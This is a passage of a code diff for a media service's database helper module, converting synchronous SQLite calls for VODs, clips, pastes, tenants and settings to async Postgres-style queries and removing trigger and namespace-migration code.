kept)`);-- })();-- }-- database.exec(`-- CREATE INDEX IF NOT EXISTS idx_media_jobs_status ON media_jobs(status, job_type);-- CREATE INDEX IF NOT EXISTS idx_media_jobs_app ON media_jobs(app_id, id);-- CREATE INDEX IF NOT EXISTS idx_media_jobs_object ON media_jobs(object_id, job_type, status);-- CREATE UNIQUE INDEX IF NOT EXISTS idx_media_jobs_idem ON media_jobs(app_id, idempotency_key) WHERE idempotency_key IS NOT NULL;`);--}++/** Tests: use this handle as the process-wide database. */++function setDb(db) { database = db; }/*** SQL: is the object named by the SQL expression `ref` under an unreleased retention hold? Its own@@@ -120,118 +73,49 @@ function heldSql(ref) {OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = ${ref})))`;}--/**-- * Object-model guards that must hold on EVERY delete path, including the many-- * inherited ones that DELETE a vods/clips/files/pastes row directly:-- * - a row whose object is under an unreleased retention hold cannot be deleted, and a clip whose-- * source VOD is held cannot either (even before the clip has an object);-- * - deleting a projected row marks its media_object deleted (bytes accounting-- * and reconciliation keep working without touching each call site).-- * Created here, after migrateColumns, because they reference object_id. The hold guards are the _v2-- * triggers (clips follow their VOD's hold); the first-version ones are dropped.-- */--function ensureObjectTriggers() {-- // One transaction: replacing a first-version hold guard never leaves a moment without one.-- database.transaction(_ensureObjectTriggers)();--}----function _ensureObjectTriggers() {-- const held = heldSql;-- // A clip's lookups by object id (the hold rule above) use this index.-- database.exec('CREATE INDEX IF NOT EXISTS idx_clips_object ON clips(object_id)');-- for (const old of ['trg_vods_hold_guard', 'trg_clips_hold_guard', 'trg_files_hold_guard', 'trg_pastes_hold_guard', 'trg_media_objects_hold_guard', 'trg_media_objects_hold_delete']) {-- database.exec(`DROP TRIGGER IF EXISTS ${old}`);-- }-- const vodHeld = `(OLD.vod_id IS NOT NULL AND EXISTS (SELECT 1 FROM media_holds h JOIN vods v ON v.object_id = h.object_id WHERE v.id = OLD.vod_id AND h.released_at IS NULL))`;-- for (const table of ['vods', 'clips', 'files', 'pastes']) {-- database.exec(`-- CREATE TRIGGER IF NOT EXISTS trg_${table}_hold_guard_v2 BEFORE DELETE ON ${table}-- WHEN (OLD.object_id IS NOT NULL AND ${held('OLD.object_id')})${table === 'clips' ? ` OR ${vodHeld}` : ''}-- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;-- CREATE TRIGGER IF NOT EXISTS trg_${table}_object_deleted AFTER DELETE ON ${table}-- WHEN OLD.object_id IS NOT NULL-- BEGIN-- UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, CURRENT_TIMESTAMP),-- updated_at = CURRENT_TIMESTAMP-- WHERE id = OLD.object_id AND lifecycle_status != 'deleted';-- END;`);-- }-- database.exec(`-- CREATE TRIGGER IF NOT EXISTS trg_media_objects_hold_guard_v2 BEFORE UPDATE OF lifecycle_status ON media_objects-- WHEN NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted' AND ${held('OLD.id')}-- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;-- CREATE TRIGGER IF NOT EXISTS trg_media_objects_hold_delete_v2 BEFORE DELETE ON media_objects-- WHEN ${held('OLD.id')}-- BEGIN SELECT RAISE(ABORT, 'media object is under a retention hold'); END;`);-- // media.object.visibility_changed / media.object.deleted: staged in the changing transaction,-- // whichever path changed the object (projection sync, soft delete, the row-delete triggers above,-- // operator SQL); server/events.js turns the rows into outbox envelopes.-- database.exec(`-- CREATE TRIGGER IF NOT EXISTS trg_media_objects_visibility_event AFTER UPDATE OF visibility ON media_objects-- WHEN OLD.visibility IS NOT NEW.visibility AND NEW.lifecycle_status != 'deleted'-- BEGIN INSERT INTO media_object_changes (object_id, change, previous_visibility, visibility) VALUES (NEW.id, 'visibility_changed', OLD.visibility, NEW.visibility); END;-- CREATE TRIGGER IF NOT EXISTS trg_media_objects_deleted_event AFTER UPDATE OF lifecycle_status ON media_objects-- WHEN NEW.lifecycle_status = 'deleted' AND OLD.lifecycle_status != 'deleted'-- BEGIN INSERT INTO media_object_changes (object_id, change, previous_visibility) VALUES (NEW.id, 'deleted', OLD.visibility); END;`);--}--/*** Object-first write (WS-G task 1, retiring C-75): run write() — a change to a projected* vods/clips/files/pastes row — and re-project the row's media_object in the same transaction* (objects/model.js withObject). Throws, with nothing written, when either part fails.*/--function withObject(kind, ids, write) {-- return require('../objects/model').withObject(kind, ids, write);--}----function seedSettings() {-- const defaults = [-- // Clip system-- ['max_clip_duration', '60', 'Maximum clip length in seconds', 'number'],-- // Paste system (same keys the inherited routes read)-- ['paste_max_size_kb', '512', 'Maximum paste content size in KB', 'number'],-- ['paste_screenshot_max_size_mb', '8', 'Maximum screenshot upload size in MB', 'number'],-- ['paste_cooldown_seconds', '30', 'Cooldown between paste submissions in seconds (user-JWT callers)', 'number'],-- ['paste_max_per_user_per_day', '200', 'Maximum pastes per user per day (0 = unlimited)', 'number'],-- ['paste_comment_cooldown_seconds', '10', 'Cooldown between paste comments in seconds', 'number'],-- ['paste_comment_max_length', '2000', 'Maximum paste comment length in characters', 'number'],-- ['paste_comment_anon_allowed', 'true', 'Allow anonymous comments on pastes', 'boolean'],-- ];-- const stmt = database.prepare('INSERT OR IGNORE INTO media_settings (key, value, description, type) VALUES (?, ?, ?, ?)');-- for (const [k, v, d, t] of defaults) stmt.run(k, v, d, t);++async function withObject(kind, ids, write) {++ return await require('../objects/model').withObject(kind, ids, write);}// ── Generic helpers ──────────────────────────────────────────--function run(sql, params = []) {-- return getDb().prepare(sql).run(...(Array.isArray(params) ? params : [params]));++async function run(sql, params = []) {++ return await getDb().prepare(sql).run(...(Array.isArray(params) ? params : [params]));}--function get(sql, params = []) {-- return getDb().prepare(sql).get(...(Array.isArray(params) ? params : [params]));++async function get(sql, params = []) {++ return await getDb().prepare(sql).get(...(Array.isArray(params) ? params : [params]));}--function all(sql, params = []) {-- return getDb().prepare(sql).all(...(Array.isArray(params) ? params : [params]));++async function all(sql, params = []) {++ return await getDb().prepare(sql).all(...(Array.isArray(params) ? params : [params]));}--function close() {-- if (database) { try { database.close(); } catch { /* ignore */ } database = null; }++async function close() {++ const db = database;++ database = null;++ // The test process's database (pg-preload.mjs) stays open: a test that closes and reopens gets it back.++ if (db && db !== globalThis.__ovMediaTestDb) await db.close().catch(() => {});}// ── Settings ─────────────────────────────────────────────────--function getSetting(key) {-- const row = get('SELECT value, type FROM media_settings WHERE key = ?', [key]);++async function getSetting(key) {++ const row = await get('SELECT value, type FROM media_settings WHERE key = ?', [key]);if (!row) return null;if (row.type === 'number') return Number(row.value);if (row.type === 'boolean') return row.value === 'true' || row.value === '1';return row.value;}--function setSetting(key, value, type = 'string') {-- run(`INSERT INTO media_settings (key, value, type) VALUES (?, ?, ?)-- ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = CURRENT_TIMESTAMP`,++async function setSetting(key, value, type = 'string') {++ await run(`INSERT INTO media_settings (key, value, type) VALUES (?, ?, ?)++ ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = ov_now()`,[key, String(value), type]);}@@@ -241,22 +125,22 @@ function hashApiKey(key) {return crypto.createHash('sha256').update(String(key)).digest('hex');}--function getApp(appId) {-- return get('SELECT * FROM apps WHERE app_id = ?', [appId]);++async function getApp(appId) {++ return await get('SELECT * FROM apps WHERE app_id = ?', [appId]);}--function listApps() {-- return all('SELECT app_id, name, webhook_url, allowed_origins, quota_bytes, created_at FROM apps ORDER BY app_id');++async function listApps() {++ return await all('SELECT app_id, name, webhook_url, allowed_origins, quota_bytes, created_at FROM apps ORDER BY app_id');}--function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowed_origins, quota_bytes }) {++async function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowed_origins, quota_bytes }) {if (!app_id || !api_key) throw new Error('app_id and api_key required');// Developer-project tenants never get an API key: they are reached only with their project's app tokens.if (/^prj_/.test(String(app_id))) throw new Error(`${app_id} is a developer-project tenant id; API keys are never issued for those`);-- const existing = getApp(app_id);++ const existing = await getApp(app_id);if (existing && existing.project_id) throw new Error(`${app_id} is a developer-project tenant; API keys are never issued for those`);const origins = JSON.stringify(Array.isArray(allowed_origins) ? allowed_origins : []);-- run(`INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret, allowed_origins, quota_bytes)++ await run(`INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret, allowed_origins, quota_bytes)VALUES (?, ?, ?, ?, ?, ?, ?)ON CONFLICT(app_id) DO UPDATE SETname = excluded.name,@@@ -266,8 +150,8 @@ function upsertApp({ app_id, name, api_key, webhook_url, webhook_secret, allowedallowed_origins = excluded.allowed_origins,quota_bytes = excluded.quota_bytes`,[app_id, name || app_id, hashApiKey(api_key), webhook_url || null, webhook_secret || null, origins, quota_bytes || 0]);-- const row = getApp(app_id);-- ensureRootNamespace(row);++ const row = await getApp(app_id);++ await ensureRootNamespace(row);return row;}@@@ -282,24 +166,24 @@ function projectTenantId(projectId, env) {return env === 'sandbox' ? `${projectId}-sandbox` : projectId;}--function ensureProjectTenant(projectId, env, quotaBytes) {++async function ensureProjectTenant(projectId, env, quotaBytes) {const id = projectTenantId(projectId, env);-- run(`INSERT OR IGNORE INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env)-- VALUES (?, ?, '', ?, ?, ?)`, [id, `project ${projectId} (${env})`, quotaBytes, projectId, env]);-- const row = getApp(id);++ await run(`INSERT INTO apps (app_id, name, api_key_hash, quota_bytes, project_id, env)++ VALUES (?, ?, '', ?, ?, ?) ON CONFLICT DO NOTHING`, [id, `project ${projectId} (${env})`, quotaBytes, projectId, env]);++ const row = await getApp(id);if (!row || row.project_id !== projectId || row.env !== env || row.api_key_hash) {const err = new Error(`tenant id ${id} is taken by a tenant that is not this project's ${env} tenant`);err.code = 'media.tenant.conflict';throw err;}-- ensureRootNamespace(row);++ await ensureRootNamespace(row);return row;}/** Is this tenant a developer project's sandbox? Its content is never served from public URLs. */--function isSandboxTenant(appId) {++async function isSandboxTenant(appId) {if (!appId) return false;-- const r = get('SELECT env FROM apps WHERE app_id = ?', [appId]);++ const r = await get('SELECT env FROM apps WHERE app_id = ?', [appId]);return !!(r && r.env === 'sandbox');}@@@ -326,67 +210,22 @@ function namespaceOwner(app) {}/** The tenant's root namespace row, created when missing. Returns its name. */--function ensureRootNamespace(app) {++async function ensureRootNamespace(app) {const ns = rootNamespace(app);if (!ns) return null;-- run('INSERT OR IGNORE INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, NULL, ?)', [ns, app.app_id, namespaceOwner(app)]);++ await run('INSERT INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, NULL, ?) ON CONFLICT DO NOTHING', [ns, app.app_id, namespaceOwner(app)]);return ns;}--/**-- * Namespaces as rows (WS-G task 2). Idempotent, on every open:-- * 1. a developer project's objects move from the tenant id (prj_<ULID>, prj_<ULID>-sandbox), which-- * was their namespace before namespaces were rows, to app.<project_id>[.sandbox];-- * 2. every tenant has its root row, and every namespace an object names has a row (a child with the-- * chain up to its root);-- * 3. once (setting namespaces.reservations_seeded): every native upload still in progress holds a-- * quota reservation of its declared size, expiring MEDIA_UPLOAD_RESERVATION_HOURS after that-- * first open, so an upload that began before reservations existed is not cut short.-- */--function migrateNamespaces() {-- const insert = database.prepare('INSERT OR IGNORE INTO media_namespaces (namespace, app_id, parent, owner) VALUES (?, ?, ?, ?)');-- database.transaction(() => {-- const apps = new Map(database.prepare('SELECT * FROM apps').all().map(a => [a.app_id, a]));-- const move = database.prepare('UPDATE media_objects SET namespace = ? WHERE app_id = ? AND namespace = ?');-- let moved = 0;-- for (const app of apps.values()) {-- if (app.project_id) moved += move.run(rootNamespace(app), app.app_id, app.app_id).changes;-- insert.run(rootNamespace(app), app.app_id, null, namespaceOwner(app));-- }-- if (moved) console.warn(`[DB] Moved ${moved} developer-project object(s) to their app.<project_id> namespace`);-- const missing = database.prepare(`SELECT DISTINCT o.app_id, o.namespace FROM media_objects o-- LEFT JOIN media_namespaces n ON n.namespace = o.namespace WHERE n.namespace IS NULL`).all();-- for (const m of missing) {-- const app = apps.get(m.app_id) || { app_id: m.app_id };-- const root = rootNamespace(app);-- insert.run(root, app.app_id, null, namespaceOwner(app));-- if (m.namespace === root) continue;-- if (!m.namespace.startsWith(`${root}.`)) { insert.run(m.namespace, app.app_id, null, namespaceOwner(app)); continue; }-- let parent = root;-- for (const seg of m.namespace.slice(root.length + 1).split('.')) {-- insert.run(`${parent}.${seg}`, app.app_id, parent, namespaceOwner(app));-- parent = `${parent}.${seg}`;-- }-- }-- const seeded = database.prepare("SELECT value FROM media_settings WHERE key = 'namespaces.reservations_seeded'").get();-- if (!seeded) {-- const n = database.prepare(`INSERT OR IGNORE INTO media_quota_reservations (object_id, app_id, namespace, bytes, expires_at)-- SELECT id, app_id, namespace, size_bytes, datetime('now', ?) FROM media_objects WHERE lifecycle_status = 'uploading' AND legacy_ref IS NULL`)-- .run(`+${Math.max(1, config.objects.reservationHours)} hours`).changes;-- database.prepare("INSERT OR REPLACE INTO media_settings (key, value, type) VALUES ('namespaces.reservations_seeded', ?, 'string')").run(new Date().toISOString());-- if (n) console.warn(`[DB] ${n} upload(s) in progress now hold a quota reservation`);-- }-- })();--}// ── VOD helpers ──────────────────────────────────────────────// The row and its media_object in one transaction (a clips-only recording has no object).--function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, file_size, duration_seconds, thumbnail_url, master_file_path, meta, visibility, clips_only }) {++async function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, file_size, duration_seconds, thumbnail_url, master_file_path, meta, visibility, clips_only }) {const vis = visibility ? _normVisibility(visibility) : 'public';-- return withObject('vod', (r) => r.lastInsertRowid, () => run(++ return await withObject('vod', (r) => r.lastInsertRowid, async () => await run(`INSERT INTO vods (app_id, stream_id, stream_key, managed_stream_id, user_id, title, description, file_path, master_file_path, file_size, duration_seconds, thumbnail_url, meta_json, is_public, visibility, clips_only)-- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,++ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[app_id, stream_id || null, stream_key || null, managed_stream_id || null, user_id || null, title || 'Recording', description || '',file_path || null, master_file_path || null, file_size || 0, duration_seconds || 0, thumbnail_url || null,JSON.stringify(meta || {}), vis === 'public' ? 1 : 0, vis, clips_only ? 1 : 0]@@@ -394,23 +233,23 @@ function createVod({ app_id, stream_id, stream_key, managed_stream_id, user_id,}/** Legacy lookup: resolve a row by its file's basename (old /api/vods/file/<name> URLs). */--function _byFileBasename(table, basename, appId) {++async function _byFileBasename(table, basename, appId) {const name = path.basename(String(basename || ''));if (!name) return null;const clause = appId ? ' AND app_id = ?' : '';const params = appId ? [`%${name}`, appId] : [`%${name}`];-- // LIKE narrows the scan; exact basename match is confirmed in JS (LIKE++ // ILIKE narrows the scan; exact basename match is confirmed in JS (LIKE// wildcards inside the filename can't produce false positives that way).-- const rows = all(`SELECT * FROM ${table} WHERE file_path LIKE ?${clause}`, params);++ const rows = await all(`SELECT * FROM ${table} WHERE file_path ILIKE ?${clause}`, params);return rows.find(r => r.file_path && path.basename(r.file_path) === name) || null;}--function getVodByFileBasename(basename, appId = null) { return _byFileBasename('vods', basename, appId); }--function getClipByFileBasename(basename, appId = null) { return _byFileBasename('clips', basename, appId); }++async function getVodByFileBasename(basename, appId = null) { return await _byFileBasename('vods', basename, appId); }++async function getClipByFileBasename(basename, appId = null) { return await _byFileBasename('clips', basename, appId); }--function getVodById(id, appId = null) {++async function getVodById(id, appId = null) {const clause = appId ? ' AND app_id = ?' : '';const params = appId ? [id, appId] : [id];-- return get(`SELECT *, COALESCE(duration_seconds, probe_duration_seconds, 0) AS duration_seconds++ return await get(`SELECT *, COALESCE(duration_seconds, probe_duration_seconds, 0) AS duration_secondsFROM vods WHERE id = ?${clause}`, params);}@@@ -452,19 +291,19 @@ function _vodConds(appId, { user_id = null, stream_id = null, managed_stream_idreturn { conds, params };}--function listVods(appId, filters = {}) {++async function listVods(appId, filters = {}) {const { limit = 50, offset = 0, order = 'newest' } = filters;const { conds, params } = _vodConds(appId, filters);params.push(limit, offset);-- return all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);++ return await all(`SELECT * FROM vods WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);}/** Latest finished public VOD (id + thumbnail) per managed stream — one batch query. */--function latestVodThumbsByManagedStreams(appId, managedStreamIds) {++async function latestVodThumbsByManagedStreams(appId, managedStreamIds) {const ids = (managedStreamIds || []).map(n => parseInt(n, 10)).filter(Number.isFinite);if (!ids.length) return {};const ph = ids.map(() => '?').join(',');-- const rows = all(`++ const rows = await all(`SELECT v.managed_stream_id, v.id, v.thumbnail_urlFROM vods vJOIN (SELECT managed_stream_id ms, MAX(created_at) mc FROM vods@@@ -480,27 +319,27 @@ function latestVodThumbsByManagedStreams(appId, managedStreamIds) {}/** Aggregate per-app media stats for the owning app's dashboards/heroes. */--function getAppStats(appId) {-- const c = (sql, p = []) => { try { return get(sql, p)?.n || 0; } catch { return 0; } };-- const win = (sql, extraParams = []) => ({-- d: c(sql, [...extraParams, '-1 day']),-- w: c(sql, [...extraParams, '-7 days']),-- m: c(sql, [...extraParams, '-30 days']),++async function getAppStats(appId) {++ const c = async (sql, p = []) => { try { return (await get(sql, p))?.n || 0; } catch { return 0; } };++ const win = async (sql, extraParams = []) => ({++ d: await c(sql, [...extraParams, '-1 day']),++ w: await c(sql, [...extraParams, '-7 days']),++ m: await c(sql, [...extraParams, '-30 days']),});const vodBase = "FROM vods WHERE app_id = ? AND is_public = 1 AND COALESCE(is_recording,0) = 0 AND COALESCE(clips_only,0) = 0";const clipBase = "FROM clips WHERE app_id = ? AND COALESCE(is_public,1) = 1";return {-- vods: c(`SELECT COUNT(*) n ${vodBase}`, [appId]),-- clips: c(`SELECT COUNT(*) n ${clipBase}`, [appId]),-- pastes: c('SELECT COUNT(*) n FROM pastes WHERE app_id = ?', [appId]),-- pasteImages: c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND type = 'screenshot'", [appId]),-- pasteText: c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND COALESCE(type,'paste') <> 'screenshot'", [appId]),-- durationSeconds: c(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase}`, [appId]),++ vods: await c(`SELECT COUNT(*) n ${vodBase}`, [appId]),++ clips: await c(`SELECT COUNT(*) n ${clipBase}`, [appId]),++ pastes: await c('SELECT COUNT(*) n FROM pastes WHERE app_id = ?', [appId]),++ pasteImages: await c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND type = 'screenshot'", [appId]),++ pasteText: await c("SELECT COUNT(*) n FROM pastes WHERE app_id = ? AND COALESCE(type,'paste') <> 'screenshot'", [appId]),++ durationSeconds: await c(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase}`, [appId]),recent: {-- vods: win(`SELECT COUNT(*) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]),-- clips: win(`SELECT COUNT(*) n ${clipBase} AND created_at >= datetime('now', ?)`, [appId]),-- hours: (() => {-- const w = win(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]);++ vods: await win(`SELECT COUNT(*) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]),++ clips: await win(`SELECT COUNT(*) n ${clipBase} AND created_at >= datetime('now', ?)`, [appId]),++ hours: (async () => {++ const w = await win(`SELECT COALESCE(SUM(duration_seconds),0) n ${vodBase} AND created_at >= datetime('now', ?)`, [appId]);return { d: Math.round(w.d / 3600), w: Math.round(w.w / 3600), m: Math.round(w.m / 3600) };})(),},@@@ -515,40 +354,40 @@ const STAT_SERIES = {pastes: { base: 'FROM pastes WHERE app_id = ?', agg: 'COUNT(*)' },hours: { base: "FROM vods WHERE app_id = ? AND is_public = 1 AND COALESCE(is_recording,0) = 0 AND COALESCE(clips_only,0) = 0", agg: 'COALESCE(SUM(duration_seconds),0) / 3600.0' },};--function getAppStatSeries(appId, metric, days = 30) {++async function getAppStatSeries(appId, metric, days = 30) {const def = STAT_SERIES[metric];if (!def) return null;days = Math.max(1, Math.min(365, parseInt(days, 10) || 30));const since = `-${days - 1} days`;-- const rows = all(`SELECT date(created_at) AS day, ${def.agg} AS value ${def.base} AND created_at >= date('now', ?) GROUP BY day`, [appId, since]);++ const rows = await all(`SELECT substr(datetime(created_at), 1, 10) AS day, ${def.agg} AS value ${def.base} AND created_at >= substr(datetime('now', ?), 1, 10) GROUP BY day`, [appId, since]);const byDay = new Map(rows.map((r) => [r.day, Number(r.value) || 0]));const points = [];for (let i = days - 1; i >= 0; i--) {const day = new Date(Date.now() - i * 86400000).toISOString().slice(0, 10);points.push({ day, value: Number((byDay.get(day) || 0).toFixed(2)) });}-- const one = (sql, p) => Number(get(sql, p)?.value) || 0;-- const before = one(`SELECT ${def.agg} AS value ${def.base} AND created_at < date('now', ?)`, [appId, since]);-- const prevTotal = one(`SELECT ${def.agg} AS value ${def.base} AND created_at >= date('now', ?) AND created_at < date('now', ?)`, [appId, `-${2 * days - 1} days`, since]);++ const one = async (sql, p) => Number((await get(sql, p))?.value) || 0;++ const before = await one(`SELECT ${def.agg} AS value ${def.base} AND created_at < substr(datetime('now', ?), 1, 10)`, [appId, since]);++ const prevTotal = await one(`SELECT ${def.agg} AS value ${def.base} AND created_at >= substr(datetime('now', ?), 1, 10) AND created_at < substr(datetime('now', ?), 1, 10)`, [appId, `-${2 * days - 1} days`, since]);const total = Number(points.reduce((n, p) => n + p.value, 0).toFixed(2));return { metric, days, points, total, before: Number(before.toFixed(2)), prev_total: Number(prevTotal.toFixed(2)) };}--function countVods(appId, filters = {}) {++async function countVods(appId, filters = {}) {const { conds, params } = _vodConds(appId, filters);-- return get(`SELECT COUNT(*) AS count FROM vods WHERE ${conds.join(' AND ')}`, params)?.count || 0;++ return (await get(`SELECT COUNT(*) AS count FROM vods WHERE ${conds.join(' AND ')}`, params))?.count || 0;}const VALID_VISIBILITY = new Set(['public', 'unlisted', 'private']);function _normVisibility(v) { return VALID_VISIBILITY.has(v) ? v : 'public'; }// Set VOD/clip visibility; is_public mirrors (1 iff public) so listing filters hold. Row and object together.--function setVodVisibility(vodId, visibility) {++async function setVodVisibility(vodId, visibility) {const vis = _normVisibility(visibility);-- return withObject('vod', vodId, () => run('UPDATE vods SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, vodId]));++ return await withObject('vod', vodId, async () => await run('UPDATE vods SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, vodId]));}--function updateVodHealth(vodId, { status, score, issues = [], probeDuration, probeFormat, quarantine = false, keepPublic = false }) {++async function updateVodHealth(vodId, { status, score, issues = [], probeDuration, probeFormat, quarantine = false, keepPublic = false }) {const updates = [];const params = [];if (status) { updates.push('health_status = ?'); params.push(status); }@@@ -563,12 +402,12 @@ function updateVodHealth(vodId, { status, score, issues = [], probeDuration, proupdates.push("last_health_scan_at = datetime('now')");params.push(vodId);if (!updates.length) return null;-- return withObject('vod', vodId, () => run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params));++ return await withObject('vod', vodId, async () => await run(`UPDATE vods SET ${updates.join(', ')} WHERE id = ?`, params));}/** A measured duration (source probe | remux) replaces the stored one (the object's size and duration with it). */--function repairVodDuration(vodId, duration, fileSize, source = 'probe') {-- return withObject('vod', vodId, () => run(++async function repairVodDuration(vodId, duration, fileSize, source = 'probe') {++ return await withObject('vod', vodId, async () => await run(`UPDATE vods SET duration_seconds = ?, file_size = ?, probe_duration_seconds = ?, duration_source = ?, last_health_scan_at = datetime('now') WHERE id = ?`,[duration, fileSize, duration, source, vodId]));@@@ -576,8 +415,8 @@ function repairVodDuration(vodId, duration, fileSize, source = 'probe') {// VODs the periodic health job should scan: finished (not recording), and either never// scanned or last scanned longer ago than `staleDays`. Never-scanned + oldest-scanned first.--function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {-- return all(`SELECT * FROM vods++async function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {++ return await all(`SELECT * FROM vodsWHERE COALESCE(is_recording, 0) = 0AND (health_status IS NULL OR health_status NOT IN ('corrupt','zero_byte','missing_file'))AND (last_health_scan_at IS NULL OR last_health_scan_at <= datetime('now', ?))@@@ -586,8 +425,8 @@ function getVodsNeedingHealthScan({ staleDays = 30, limit = 3 } = {}) {}// Genuinely-broken VODs quarantined long enough that they should be cleaned up.--function getQuarantinedVodsForCleanup({ graceDays = 14, limit = 5 } = {}) {-- return all(`SELECT * FROM vods++async function getQuarantinedVodsForCleanup({ graceDays = 14, limit = 5 } = {}) {++ return await all(`SELECT * FROM vodsWHERE quarantined_at IS NOT NULLAND quarantined_at <= datetime('now', ?)AND health_status IN ('corrupt','zero_byte','missing_file')@@@ -609,22 +448,22 @@ function vodStatus(vod) {// The row and its media_object in one transaction. `visibility` (public | unlisted | private), when// given, sets both columns; otherwise is_public picks public or unlisted as before.--function createClip({ app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status }) {++async function createClip({ app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status }) {const pub = (is_public === 0 || is_public === false) ? 0 : 1;const vis = visibility ? _normVisibility(visibility) : (pub ? 'public' : 'unlisted');-- return withObject('clip', (r) => r.lastInsertRowid, () => run(++ return await withObject('clip', (r) => r.lastInsertRowid, async () => await run(`INSERT INTO clips (app_id, vod_id, stream_id, user_id, channel_user_id, title, description, file_path, thumbnail_url, start_time, end_time, duration_seconds, is_public, visibility, auto_generated, status)-- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,++ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[app_id, vod_id || null, stream_id || null, user_id || null, channel_user_id || null, title || 'Untitled Clip', description || '',file_path || '', thumbnail_url || null, start_time || 0, end_time || 0, duration_seconds || 0,vis === 'public' ? 1 : 0, vis, auto_generated ? 1 : 0, status || 'ready']));}--function getClipById(id, appId = null) {++async function getClipById(id, appId = null) {const clause = appId ? ' AND app_id = ?' : '';const params = appId ? [id, appId] : [id];-- return get(`SELECT * FROM clips WHERE id = ?${clause}`, params);++ return await get(`SELECT * FROM clips WHERE id = ?${clause}`, params);}function _clipConds(appId, { vod_id = null, stream_id = null, user_id = null, channel_user_id = null, include_private = false, hide_self = false, auto_generated = null, ready_only = false, since = null } = {}) {@@@ -647,30 +486,30 @@ function _clipConds(appId, { vod_id = null, stream_id = null, user_id = null, chreturn { conds, params };}--function listClips(appId, filters = {}) {++async function listClips(appId, filters = {}) {const { limit = 50, offset = 0, order = 'newest' } = filters;const { conds, params } = _clipConds(appId, filters);params.push(limit, offset);-- return all(`SELECT * FROM clips WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);++ return await all(`SELECT * FROM clips WHERE ${conds.join(' AND ')} ORDER BY ${_listOrder(order)} LIMIT ? OFFSET ?`, params);}--function countClips(appId, filters = {}) {++async function countClips(appId, filters = {}) {const { conds, params } = _clipConds(appId, filters);-- return get(`SELECT COUNT(*) AS count FROM clips WHERE ${conds.join(' AND ')}`, params)?.count || 0;++ return (await get(`SELECT COUNT(*) AS count FROM clips WHERE ${conds.join(' AND ')}`, params))?.count || 0;}--function setClipVisibility(clipId, visibility) {++async function setClipVisibility(clipId, visibility) {const vis = _normVisibility(visibility);-- return withObject('clip', clipId, () => run('UPDATE clips SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, clipId]));++ return await withObject('clip', clipId, async () => await run('UPDATE clips SET visibility = ?, is_public = ? WHERE id = ?', [vis, vis === 'public' ? 1 : 0, clipId]));}--function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0, endTime = 0, startWindow = 8, endWindow = 10, createdSinceMinutes = 10 }) {++async function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0, endTime = 0, startWindow = 8, endWindow = 10, createdSinceMinutes = 10 }) {const filters = [];const params = [appId];if (streamId) { filters.push('stream_id = ?'); params.push(streamId); }if (vodId) { filters.push('vod_id = ?'); params.push(vodId); }if (!filters.length) return null;-- return get(`++ return await get(`SELECT * FROM clipsWHERE app_id = ? AND (${filters.join(' OR ')})AND ABS(COALESCE(start_time, 0) - ?) <= ?@@@ -683,62 +522,62 @@ function findDuplicateClip({ appId, streamId = null, vodId = null, startTime = 0// ── Paste helpers ────────────────────────────────────────────--function getPasteBySlug(slug, appId = null) {++async function getPasteBySlug(slug, appId = null) {const clause = appId ? ' AND app_id = ?' : '';const params = appId ? [slug, appId] : [slug];-- return get(`SELECT * FROM pastes WHERE slug = ?${clause}`, params);++ return await get(`SELECT * FROM pastes WHERE slug = ?${clause}`, params);}--function likePaste(pasteId, userId) {-- run('INSERT OR IGNORE INTO paste_likes (paste_id, user_id) VALUES (?, ?)', [pasteId, userId]);-- run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);-- return get('SELECT likes FROM pastes 